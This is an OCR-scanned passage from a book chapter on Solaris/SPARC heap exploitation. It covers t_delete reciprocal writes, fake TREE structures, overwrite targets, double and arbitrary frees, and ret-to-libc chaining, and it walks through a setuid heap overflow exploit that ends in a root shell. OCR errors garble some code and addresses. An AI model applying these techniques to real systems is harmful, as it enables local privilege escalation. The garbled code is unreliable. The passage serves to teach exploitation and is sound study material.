* Delete a tree element 
*/ 
static void t_delete{TREE *op) 
 { 

TREE     *tp, *sp, *gp; 

/* if this is a non-tree node */ 

 if (ISNOTREE(op)) { 
tp = LINKBAK(op); 
if ((sp = LINKFOR(op)) != NULL)  

LINKBAK(sp) = tp; 
LINKFOR(tp) = sp; 
return;  

} 
 
 

Some relevant macros are defined as: 

#define SIZE(b) (((b)->t_s).w_i) 
#define PARENT(b)(((b)->t_p).w_p) 
#define LEFT(b) (((b)->t_l).w_p) 
#define RIGHT(b)(((b)->t_r).w_p) 
#define LINKFOR(b)(((b)->t_n).w_p) 
#define LINKBAK(b)(((b)->t_p).w_p) 
#define ISNOTREE(b)(LEFT(b) == (TREE *)(-l)) 

 

As can be seen in the code, a TREE op structure is passed to t_delete (). 
This structure op is the fake chunk constructed and pointed to by the overflow. 
If ISNOTREE () is true, then two pointers tp and sp will be taken from the fake 
TREE structure op. These pointers are completely controlled by the attacker, 
and are TREE structure pointers. A field of each is set to a pointer to the other 
TREE structure. 

The LINKFOR macro refers to the t_n field within the TREE structure, which 

is located at an offset 32 bytes into the structure, while the LINKBAK macro 

refers to the t_p field located 8 bytes into the structure. ISNOTREE is true if 
the 

 t_l field of the TREE structure is -1, and this field is located 16 bytes into 
the 

structure. 
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While this may seem slightly confusing, the ultimate result of the above code 

is the following: 

1. If the t_l field of the TREE op is equal to -1, the resulting steps occur. 
This field is at an offset 16 bytes into the structure. 

2. The TREE pointer tp is initialized via the LINKBAK macro, which takes 
the t_p field from op. This field is at an offset 8 bytes into the structure. 

3. The TREE pointer sp is initialized via the LINKFOR macro, which takes 
the t_n field from op. This field is at an offset 32 bytes into the structure. 

4. The t_p field of sp is set to the pointer tp via the macro LINKBAK. 
This field is located at an offset 8 bytes into the structure. 

5. The t_n field of tp is set to the pointer sp via the macro LINKFOR. This 
field is located at an offset 32 bytes into the structure. 

Steps 4 and 5 are the most interesting in this procedure, and may result in 
an arbitrary value being written to an arbitrary address in what is best 
described as a reciprocal write situation. This operation is analogous to 
removing an entry in the middle of a doubly linked list and re-linking the 
adjacent members. The TREE structure construction that can achieve this 
looks like that shown in Table 10.9. 

The preceding TREE construction will result in the value of tp being written 
to sp plus 8 bytes, as well as the value of cp being written to tp plus 32 bytes. 
For example, sp might point at a function pointer location minus 7 bytes, and 
tp might point at a location containing an NOP sled and shellcode. When the 
code within t_delete is executed, the function pointer will be overwritten with 
the value of tp which points to the shellcode. However, a value 32 bytes into 
the shellcode will also be overwritten with the value of sp. 

The value 16 bytes into the tree structure of FF FF FF FF is the -1 needed to 
indicate that this structure is not part of a tree. The value at offset zero of FF 
FF FF F8 is the chunk size. It is convenient to make this value negative to 
avoid null bytes; however, it can be any realistic chunk size provided that the 
lowest two bits are not set. If the first bit is set, it would indicate that the chunk 
was in use and not suitable for consolidation. The second bit should also be 
clear to avoid consolidation with a previous chunk. All bytes indicated by AA 
are filler and can be any value. 

Table 10.9.   Required TREE Structure for a Reciprocal Write 

FF FF FF F8         AA AA AA AA ____________ TP TP TP TP AA AA AA AA 
FF FF FF FF         AA AA AA AA _____________AA AA AA AA     AA AA AA AA _____ 
SPSPSPSP         AAAAAAAA__________ AA AA AA AA     AAAAAAAA _____ 
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Standard Heap Overflow Limitations 

We previously touched on the first limitation of the non-tree deletion heap 
overflow mechanism. A 4-byte value at a predictable offset into the shellcode 
is corrupted in the free operation. A practical solution is to use NOP padding 
that consists of branch operations that jump ahead a fixed distance. This can 
be used to jump past the corruption that occurs with the reciprocal write, and 
continue to execute shellcode as normal. 

If it is possible to include at least 256 padding instructions before the shell 
code, the following branch instruction can be used as a padding instruction in 
heap overflows. It will jump ahead 0x404 bytes, skipping past the modifica tion 
made by the reciprocal write. The branch distance is large in order to avoid 
null bytes, but if null bytes can be included in your shellcode then by all means 
reduce the branch distance. 

#define BRANCH_AHEAD "\xl0\x80\x01\x01" 

 

Note that if you choose to overwrite a return address on the stack, the sp 
member of the TREE structure must be made to point to this location minus 8 
bytes. You could not point the tp member to the return location minus 32 bytes, 
because this would result in a value at the new return address plus S bytes 
being overwritten with a pointer that isn't valid code. Remember that ret is 
really a synthetic instruction that does jmpl %i7 + 8, %g0.The reg ister %i7 
holds the address of the original call, so execution goes to that address plus 8 
bytes (4 for the call, and 4 for the delay slot). If an address at an offset of 8 
bytes into the return address were overwritten, this would be the first 
instruction executed, causing a crash for certain. If you instead overwrite a 
value 32 bytes into the shellcode and 24 past the first instruction, you then 
have a chance to branch past the corrupted address. 

The reciprocal write situation introduces another limitation that is not gen 
erally critical in most cases, but is worth mentioning. Both the target address 
being overwritten and the value used to overwrite it must be valid writable 
addresses. They are both written to, and using a non-writable memory region 
for either value will result in a segmentation fault. Since normal code is not 
writable, this precludes return to libc type attacks, which try to make use of 
preexisting code found within the process address space. 

Another limitation of exploiting the Solaris heap implementation is that a 
malloc or realloc must be called after a corrupted chunk is freed. Since free () 
only places a chunk into a free list, but does not actually perform any 
processing on it, it is necessary to cause real free () to be called for the cor 
rupted chunk. This is done almost immediately within malloc or realloc (via 
cleanfree). If this is not possible, the corrupted chunk can be truly freed by 
causing free () to be called many times in a row. The free list holds a max 
imum of 32 entries, and when it is full each subsequent free () results in one team 509's presents
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entry being flushed from the free list via realfreel( ).malloc and realloc calls 
are fairly common in most applications and often isn't a huge limitation; 
however, in some cases where heap corruption isn't fully controllable, it is dif 
ficult to prevent an application from crashing before a malloc or realloccall 
occurs. 

Certain characters are essential in order to use the method described above, 
including, specifically, the character 0xFF, which is necessary to make 
ISNOTRSE () true. If character restrictions placed on input prevent these char 
acters from being used as part of an overflow, it is always possible to perform 
an arbitrary overwrite by taking advantage of code farther down within t_delete 
(), as well as t_splay () . This code will process the TREE struc ture as though 
it is actually part of the free tree, making this overwrite much more 
complicated. More restrictions will be placed on the values written and 
addresses written to. 

Targets for Overwrite 

The ability to overwrite 4 bytes of memory at an arbitrary location is enough 
to cause arbitrary code execution; however, an attacker must be exact about 
what is overwritten in order to achieve this. 

Overwriting a saved program counter on the stack is always a viable option, 
especially if an attack can be repeated. Small variations in command-line argu 
ments or environment variables tend to shift stack addresses slightly, resulting 
in them varying from system to system. However, if the attack isn't one-shot, 
or an attacker has specific knowledge about the system, it's possible to per 
form a stack overwrite with success. 

Unlike many other platforms, code within the Procedure Linkage Table (PLT) 
on Solaris/SPARC doesn't dereference a value within the Global Offset Table 
(GOT). As a result, there aren't many convenient function pointers to overwrite. 
Once lazy binding on external references is resolved on demand, and once 
external references have been resolved, the PLT is initialized to load the 
address of an external reference into %gl and then JMP to that address. 
Although some attacks allow overwriting of the PLT with SPARC instructions, 
heap overflows aren't conducive to that in general. Since both the tp and sp 
members of the TREE structure must be valid writable addresses, the possibil 
ity of creating a single instruction that points to your shellcode and is also a 
valid writable address is slim at best. 

However, there are many useful function pointers within libraries on Solaris. 
Simply tracing from the point of overflow in gdb is likely to reveal use ful 
addresses to overwrite. It will likely be necessary to create a large list of library 
versions to make an exploit portable across multiple versions and installations 
of Solaris. For example, the function mutex_lock is commonly called by libc 
functions to execute non-thread-safe code. It's called immedi ately on malloc 
and free, among many others. This function accesses an team 509's presents
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address table called ti_jmp_table within the .data section of libc, and calls a 
function pointer located 4 bytes into this table. 

Another possibly useful example is a function pointer called when a process 
calls exit (). Within a function called _exithandle, a function pointer is retrieved 
from an area of memory within the .data section of libc called static_mem. 
This function pointer normally points at the f ini () routine called on exit to 
cleanup, but it can be overwritten to cause arbitrary code execution upon exit. 
Code such as this is relatively common throughout libc and other Solaris 
libraries, and provides a good opportunity for arbitrary code execution. 

The Bottom Chunk 

The Bottom chunk is the final chunk before the end of the heap and unpaged 
memory. This chunk is treated as a special case in most heap 
implementations, and Solaris is no exception. The Bottom chunk is almost 
always free if present, and therefore even if its header is corrupted it will never 
actually be freed. An alternative is necessary if you are unfortunate enough to 
be able to corrupt only the bottom chunk. 

The following code can be found within _malloc_unlocked: 

/* if found none fitted in the tree */ 

if (!sp)  

{ 
if (Bottom && size <= SIZE(Bottom)) {  
sp = Bottom; 

................................ 

/* if the leftover is enough for a new free piece */  

if ((n = (SIZE(sp) - size)) >= MINSIZE + WORDSIZE) { 
n -= WORDSIZE; 
SIZE(sp) = size; 
tp = NEXT(sp); 
SIZE(tp) = n|BIT0; 
realfreelDATA(tp)); 

In this case, if the size of the Bottom chunk were overwritten with a negative 
size, realf ree () could be caused to be called on user-controlled data at an 
offset into the Bottom chunk. 

In the code sample above, sp points at the Bottom chunk with a corrupted 
size. A portion of the Bottom chunk will be taken for the new memory alloca 
tion, and the new chunk tp will have its size set to n. The variable n in this 
case is the corrupted negative size, minus the size of the new allocation and 
WORDSIZE. Realf ree () is then called on the newly constructed chunk, tp, 
which has a negative size. At this point the methodology mentioned previ 
ously using t_delete () will work well. 
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Small Chunk Corruption 

The minimum size for a true malloc chunk is the 48 bytes necessary to store 
the TREE structure (this includes the size header). Rather than rounding all 
small malloc requests up to this rather large size, the Solaris heap 
implementation has an alternative way of dealing with small chunks. Any 
malloc () request for a size less than 40 bytes results in different processing 
than requests for larger sizes. This is implemented by the function _smalloc 
within malloc. c. Requests that round up in size to 8,16,24, or 32 bytes are 
handled by this code. 

The function _smalloc allocates an array of same-sized memory blocks to fill 
small malloc requests. These blocks are arranged in a linked list, and when an 
allocation request is made for an appropriate size the head of the linked list is 
returned. When a small chunk is freed, it doesn't go through normal pro 
cessing but simply is put back into the right linked list at its head. Libc main 
tains a static buffer containing the heads of the linked lists. Since these 
memory chunks do not go through normal processing, certain alternatives are 
needed to deal with overflows that occur in them. 

The structure of a small malloc chunk is shown in Table 10.10. 

Because small chunks are differentiated from large chunks solely by their 
size field, it is possible to overwrite the size field of a small malloc chunk with 
a large or negative size. This would result in it going through normal chunk 
processing when it is freed and allowing for standard heap exploitation 
methods. 

The linked-list nature of the small malloc chunks allows for another inter 
esting exploit mechanism. In some situations, it is not possible to corrupt 
nearby chunk headers with attacker-controlled data. Personal experience has 
shown that this situation is not completely uncommon, and often occurs when 
the data that overwrites the chunk header is an arbitrary string or some other 
uncontrollable data. If it is possible to overwrite other portions of the heap with 
attacker-defined data, however, it is often possible to write into the small 
malloc chunk linked lists. By overwriting the next pointer in this linked list, it is 
possible to make malloc () return an arbitrary pointer anywhere in mem ory. 
Whatever program data is written to pointer returned from malloc () will then 
corrupt the address you have specified. This can be used to achieve an 
overwrite of more than four bytes via a heap overflow, and can make some 
otherwise tricky overflows exploitable. 

Table 10.10.   Structure of  a Small malloc Chunk 

WORD size (8 bytes)                 WORD next (8 bytes)             User data (8, 16, 24 or 
_________________________________________________32 bytes large)_________  

 
 
 
 
 

team 509's presents



Introduction to Solaris Exploitation    261 

Other Heap-Related Vulnerabilities 

There are other vulnerabilities that take advantage of heap data structures. 
Let's look at some of the most common and see how they can be exploited to 
gain control of execution. 

Off-by-One Overflows 

 

As is the case with stack-based off by one overflows, heap off-by-one over 
flows are very difficult to exploit on Solaris/SPARC due mainly to byte order. 
An off-by-one on the heap that writes a null byte out of bounds will generally 
have absolutely no effect on heap integrity. Because the most significant byte 
of a chunk size will be virtually always a zero anyway, writing one null byte out 
of bounds does not affect this. In some cases, it will be possible to write a 
single arbitrary byte out of bounds. This would corrupt the most significant 
byte of the chunk size. In this case, exploitation becomes a remote possibility, 
depending on the size of the heap at the point of corruption and whether the 
next chunk will be found at a valid address. In most cases, exploitation will still 
be very difficult and unrealistic to achieve. 

Double Free Vulnerabilities 

 

Double free vulnerabilities may be exploitable on Solaris in certain cases; 
how ever, the chances for exploitability are decreased by some of the 
checking done within _f ree_unlocked () . This checking was added explicitly 
to check for double frees, but is not altogether effective. 

The first thing checked is that the chunk being freed isn't Lf ree, the very last 
chunk that was freed. Subsequently, the chunk header of the chunk being 
freed is checked to make sure that it hasn't already been freed (the lowest bit 
of the size field must be set). The third and final check to prevent double frees 
determines that the chunk being freed isn't within the free list. If all three 
checks pass, the chunk is placed into the free list and will eventually be 
passed to realfree (). 

In order for a double free vulnerability to be exploitable, it is necessary for 
the free list to be flushed sometime between the first and second free. This 
could happen as a result of a malloc or realloc call, or if 32 consecutive frees 
occur, resulting in part of the list being flushed. The first free must result in the 
chunk being consolidated backward with a preceding cnunk, so that the 
original pointer resides the middle of a valid heap chunk. This valid heap 
chunk must then be reassigned by mailoc and be filled with attacker-controlled 
data. This would allow the second check within free () to be bypassed, by 
resetting the low bit of the chunk size. When the double free occurs, it will 
point to user-controlled data resulting in an arbitrary memory 
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■-verwrite. While this scenario probably seems as unlikely to you as it does 
to me, it is possible to exploit a double free vulnerability on the Solaris heap 
mplementation 

Arbitrary Free Vulnerabilities 

Arbitrary free vulnerabilities refer to coding errors that allow an attacker to 
directly specify the address passed to free () . While this may seem like an 
absurd coding error to make, it does happen when uninitialized pointers are 
freed, or when one type is mistaken for another as in a "union mismanage 
ment" vulnerability. 

Arbitrary free vulnerabilities are very similar to standard heap overflows in 
terms of how the target buffer should be constructed. The goal is to achieve 
the forward consolidation attack with an artificial next chunk via t_delete, as 
has been previously described in detail. However, it is necessary to accurately 
pinpoint the location of your chunk setup in memory for an arbitrary free attack. 
This can be difficult if the fake chunk you are trying to free is located at some 
random location somewhere on the process heap. 

The good news is that the Solaris heap implementation performs no pointer 
verification on values passed to free () . These pointers can be located on the 
heap, stack, static data, or other memory regions and they will be gladly freed 
by the heap implementation. If you can find a reliable location in static data or 
on the stack to pass as a location to free (), then by all means do it. The heap 
implementation will put it through the normal processing that happens on 
chunks to be freed, and will overwrite the arbitrary address you specify. 

Heap Overflow Example       

Once again, these theories are easier to understand with a real example. 
We will look at an easy, best-case heap overflow exploit to reinforce and 
demonstrate the exploit techniques discussed so far. 

The Vulnerable Program 

Once again, this vulnerability is too blatantly obvious to actually exist in mod-
ern software. We'll again use a vulnerable setuid executable as an example, 
with a string-based overflow copying from the first program argument. The 
vulnerable function is: 

int vulnerable_function(char *userinput) {  

char *buf = malloc(64); 
char *buf2 = malloc(64);  
strcpy(buf,userinput);  
free(buf2);  
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buf2   =  malloc(64) ; 

 return   1;  

} 

A buffer, buf, is the destination for an unbounded string copy, 
overflowing into a previously allocated buffer, buf 2. The heap buffer 
buf 2 is then freed, and another call to malloc causes the free list to be 
flushed. We have two func tion returns, so we have the choice of 
overwriting a saved program counter on the stack should we choose to. 
We also have the choice of overwriting the pre viously mentioned 
function pointer called as part of the exit () library call. 

First, let's trigger the overflow. The heap buffer is 64 bytes in size, so 
simply writing 65 bytes of string data to it should cause a program 
crash. 

# gdb ./heap_overflow 
GNU gdb 4.18 
Copyright 1998 Free Software Foundation, Inc. 
GDB is free software, covered by the GNU General Public License, 
and you 
Are welcome to change it and/or distribute copies of it under 
certain 
conditions. 
Type "show copying" to see the conditions. 
There is absolutely no warranty for GDB.  Type "show warranty" 
for 
details. 
This GDB was configured as "sparc-sun-solaris2.8".,.(no 
debugging 
symbols 
found)... 

(gdb) r `perl -e "print 'A' x 64"` 
Starting program: /test/./heap_overflow `perl -e "print 'A' 
x 64"` 
(no debugging symbols found)...(no debugging symbols 
found)...(no 
debugging symbols found)... 
Program exited normally. 

(gdb) r `perl -e "print 'A' x 65"` 
Starting program: /test/./heap_overflow ̀ perl -e "print 'A' x 
65"` 
(no debugging symbols found)...(no debugging symbols 
found)...(no 
debugging symbols found)... 
Program received signal SIGSEGV, Segmentation fault. 
0xff2c2344 in realfree () from /usr/lib/libc.so.1 

(gdb) x/i $pc 
0xff2c2344 <realfree+116>:      ld  [ %l5 +8 ], %ol 

(gdb) print/x $15 $1 = 0x41020ac0 

At the 65-byte threshold, the most significant byte of the chunk size 
is cor rupted by A or 0x41, resulting in a crash in realfree (). At this 
point we can begin constructing an exploit that overwrites the chunk 
size with a negative size, and creates a fake TREE structure behind 
the chunk size. The exploit con tains the following platform-specific 
information: 
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struct { 

char *name; 

int buffer_length; 

unsigned long overwrite_location; 

unsigned long overwrite_value; 

int align; 

 } targets[] = { 

{ 

"Solaris 9 Ultra-Sparc", 

64, 

0xffbfl233, 

0xffbffcc4, 

0  

} 

}; 

 

In this case, overwrite_location is the address in memory to overwrite, and 
overwrite_value is the value with which to overwrite it. In the man ner that this 
particular exploit constructs the TREE structure, overwrite_ location is 
analogous to the sp member of the structure, while overwrite_ value 
corresponds to the tp member. Once again, because this is exploiting a locally 
executable binary, the exploit will store shellcode in the environment. To start, 
the exploit will initialize overwrite_location with an address that isn't 4-byte 
aligned. This will immediately cause a BUS fault when writing to that address, 
and allow us to break at the right point in pro gram execution to examine 
memory and locate the information we need in order to finish the exploit. A 
first run of the exploit yields the following: 

Program received signal SIGBUS, Bus error. 
0xff2c272c in t_delete () from /usr/lib/libc.so.1 
(gdb) x/i $pc 
0xff2c272c <t_delete+52>:      st  %o0, [ %oi + 8 ] 
(gdb) print/x Sol 
$1 = 0xffbf122b 
(gdb) print/x $oO 
$2 = 0xffbffcc4 
(gdb) 

The program being exploited dies as a result of a SIGBUS signal generated 
when trying to write to our improperly aligned memory address. As you can 
see, the actual address written to (0xf f bf 122b + 8) corresponds to the value 
of overwrite_location, and the value being written is the one we previ ously 
specified as well. It's now simply a matter of locating our shellcode and 
overwriting an appropriate target. 

Our shellcode can once again be found near the top of the stack, and this 
time the alignment is off by 3 bytes. 
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(gdb) 
0xffbffa4S:     0x01108001      0x01108001      0x01108001 
0x01108001 
0xffbffsS8:     0x01108001      0x01108001      0x01108001 
0x01108001 
Oxffbffa6S:     0x01108001      0x01108001      0x01108001 
0x01108001 

We will try to overwrite a saved program counter value on the stack in order 
to gain control of the program. Since a change in the environment size is likely 
to change the stack for the program slightly, we'll adjust the alignment value in 
the target structure to be 3 and run the exploit again. Once this has been done, 
locating an accurate return address at the point of crash is relatively easy. 

(gdb} bt 
#0 0xff2c272c in t_delete () from /usr/lib/libc.so.1 
#1 0xff2c2370 in realfree () from /usr/lib/libc.so.1 
#2 0xff2cleb4 in _malloc_unlocked () from /usr/lib/libc.so.l 
#3 0xff2clc2c in malloc () from /usr/lib/libc.so.l 
#4 0xl07bc in main () 
#5 0x10758  in frame_dummy   () 

A stack backtrace will give us a list of appropriate stack frames from which 
to chose. We can then obtain the information we need to overwrite the saved 
program counter in one of these frames. For this example let's try frame 
number 4. The farther up the call tree the function is, the more likely its regis-
ter window has been flushed to the stack; however, the function in frame 5 will 
never return. 

(gdb) i frame 4 
Stack frame at 0xffbff838: 
pc = 0xl07bc in main; saved pc 0x10758 

(FRAMELESS), called by frame at 0xffbff8b0, caller of frame at 
0xffbff7c0 
Arglist at 0xffbff838, args: 
Locals at 0xffbff838,  
(gdb) x/16x 0xffbff838 

0xffbff838:     OxOOOOOOOc     0xff33c598     0x00000000 0x00000001 

0xffbff848:     0x00000000     0x00000000     0x00000000 Oxff3f66cl 

0xffbff858:     0x00000002      0xffbff914     0xffbff920 0x00020a34 

0xffbff868:     0x00000000      0x00000000     0xffbff8bO 0x0001059c 
(gdb) 
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The first 16 words of the stack frame are the saved register window, the last 
of which is the saved instruction pointer. The value in this case is Oxl059c, 
and it is located at Oxf fbf f 874. We now have all the information necessary to 
attempt to complete our exploit. The final target structure looks like the 
following: 

struct { 
char *name; 
int buffer_length; 
unsigned long overwrite_location; 
unsigned long overwrite_value; 
int align;  

}  
Targets[] = { 

{ 
"Solaris 9 Ultra-Sparc",  
64, 
0xffbff874, 
 0xffbffa48,  
3  

} 

}; 

Now, to give the exploit a try and verify that it does indeed work as intended, 
we do the following: 

$ ls -al heap_overflow 

-rwsr-xr-x   1 root     other      7028 Aug 22 
00:33 heap_overflow 

$ ./heap_exploit 0 

# id 

uid=0(root) gid=60001(nobody) 

# 

The exploit works as expected, and we are able to execute arbitrary code. 
While the heap exploit was slightly more complicated than the stack overflow 
example, it does once again represent the best-case scenario for exploitation; 
some of the complications mentioned previously are likely to come up in more 
complex exploitation scenarios. 

Other Solaris Exploitation Techniques                          

There are a few remaining important techniques concerning Solaris-based 
sys 
tems that we should discuss. One, which you are highly likely to run into, is a 
non-executable stack. These protections can be overcome, both on Solaris 
and 
other OSes, so let's take a look at how to do it. 
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Static Data Overflows 

Overflows that occur in static data rather than on the heap or stack are often 
more tricky to exploit. They often must be evaluated on a case-by-case basis, 
and binaries must be examined in order to locate useful variables near the tar 
get buffer in static memory. The organization of static variables in a binary is 
not always made obvious by examining the source code, and binary analysis 
is the only reliable and effective way to determine what you're overflowing into. 
There are some standard techniques that have proven useful in the past for 
exploiting static data overflows. 

If your target buffer is truly within the . data section and not within the .bss, it 
may be possible to overflow past the bounds of your buffer and into the .dtors 
section where a stop function pointer is located. This function pointer is called 
when the program exits. Provided that no data was overwrit ten that caused 
the program to crash before exit (), when the program exits the overwritten 
stop function pointer will be called executing arbitrary code. 

If your buffer is uninitialized and is located within the . bss section, your 
options include overwriting some program-specific data within the .bss sec 
tion, or overflowing out of .bss and overwriting the heap. 

Bypassing the Non-Executable Stack Protection 

Modern Solaris operating systems ship with an option that makes the stack 
non-executable. Any attempt to execute code on the stack will result in an 
access violation and the affected program will crash. This protection has not 
been extended to the heap or static data areas however. In most cases this 
pro tection is only a minor obstacle to exploitation. 

It is sometimes possible to store shellcode on the heap or in some other 
writable region of memory, and then redirect execution to that address. In this 
case the non-executable stack protection will be of no consequence. This may 
not be possible if the overflow is the result of a string-copy operation, because 
a heap address will most often contain a null byte. In this case, a variant of the 
return to libc technique invented by John McDonald may be useful. He 
described a way of chaining library calls by creating fake stack frames with the 
necessary function arguments. For example, if you wanted to call the libc func 
tions setuid followed by exec, you would create a stack frame containing the 
correct arguments for the first function setuid in the input registers, and rerurn 
or redirect execution to setuid within libc. so. 1. However, instead of executing 
code directly from the beginning of setuid, you would execute code within the 
function after the save instruction. This prevents the overwrit ing of input 
registers, and the function arguments are taken from the current state of the 
input registers, which will be controlled by you via a constructed stack frame. 
The stack frame you create should load the correct arguments for 
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setuid into the input registers. It should also contain a frame pointer that 
links to another set of saved registers set up specifically for exec. The saved 
program counter (%i 7) within the stack frame should be that of exec plus 4 
bytes, skipping the save instruction there as well. 

When setuid is executed, it will return to exec and restore the saved 
registers from the next stack frame. It is possible to chain multiple library 
functions together in this manner, and specify fully their arguments, thus 
bypassing the non-executable stack protection. However, it is necessary to 
know the specific location of library functions as well as the specific location of 
your stack frames in order to link them. This makes this attack quite useful for 
local exploits or exploits that are repeatable and for which you know specifics 
about the system you are exploiting. For anything else, this technique may be 
limited in usefulness. 

Conclusion                                              
While certain characteristics of the SPARC architecture, such as register 

windows, may seem foreign to those only familiar with the x86, once the basic 
concepts are understood, many similarities in exploit techniques can be found. 
Exploitation of the off-by-one bug classes is made more difficult by the 
big-endian nature of the architecture. However, virtually everything else is 
exploitable in a manner similar to other operating systems and architectures. 
Solaris on SPARC presents some unique exploitation challenges, but is also a 
very well-defined architecture and operating system, and many of the exploit 
techniques described here can be expected to work in most situations. 
Coplexities in the heap implementation offer exploitation possibilities not yet 
thought of. Further exploitation techniques not mentioned in this chapter 
definitely exist, and you have plenty of opportunity to find them. 
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